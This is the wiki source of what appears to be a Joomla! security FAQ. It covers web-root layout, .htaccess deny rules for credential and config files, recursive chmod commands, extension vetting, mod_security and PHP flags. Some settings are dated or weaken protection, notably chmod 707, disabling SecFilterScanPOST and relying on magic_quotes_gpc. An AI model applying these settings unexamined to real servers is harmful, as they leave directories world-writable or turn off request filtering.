If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
